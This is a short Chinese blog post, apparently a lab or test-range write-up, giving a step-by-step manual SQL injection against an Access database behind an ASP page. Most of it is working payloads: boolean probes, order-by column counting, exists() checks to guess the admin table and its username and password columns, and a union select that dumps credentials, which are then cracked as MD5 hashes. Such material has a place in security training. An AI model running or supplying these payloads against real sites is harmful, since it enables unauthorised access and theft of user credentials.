前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL手工注入漏洞测试(Access数据库)

SQL手工注入漏洞测试(Access数据库)

作者头像
张国平
发布2022-10-05 17:16:36
8000
发布2022-10-05 17:16:36
举报

Access数据库的SQL手工注入,用联合语句显示可显字段时,必须要“from 表名”。

1、判断注入点。

/new_list.asp?id=1 and 1=1访问成功;/new_list.asp?id=2 and 1=2访问失败。

2、判断列的情况。

order by x,x=1、2、3、4时成功,5、6时失败。

/new_list.asp?id=2 order by 4;

3、测试关键表名,因为Access用联合语句显示可显字段时,必须要“from 表名”,所以需要先猜表名。通常access数据库都有admin表;

and exists(select count(*) from admin),页面返回正常,说明存在admin表。

4、 查找回显字段。

image.png

5、枚举字段:正常则页面不报错;通常access表会存在以下三个字段;

id,username,passwd或者password

id=1 and exists(select id from admin) //页面返回正常,说明存在id列 id=1 and exists(select username from admin) //页面返回正常,说明存在username列 id=1 and exists(select passwd from admin) //页面返回正常,说明存在passwd列

6、查询用户和密码。

/new_list.asp?id= 1%20 union select 1,username,passwd,4 from admin

7、MD5网站解码成功。
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-09-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、判断注入点。
  • 2、判断列的情况。
  • 3、测试关键表名,因为Access用联合语句显示可显字段时,必须要“from 表名”,所以需要先猜表名。通常access数据库都有admin表;
  • 4、 查找回显字段。
  • 5、枚举字段:正常则页面不报错;通常access表会存在以下三个字段;
  • 6、查询用户和密码。
  • 7、MD5网站解码成功。
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档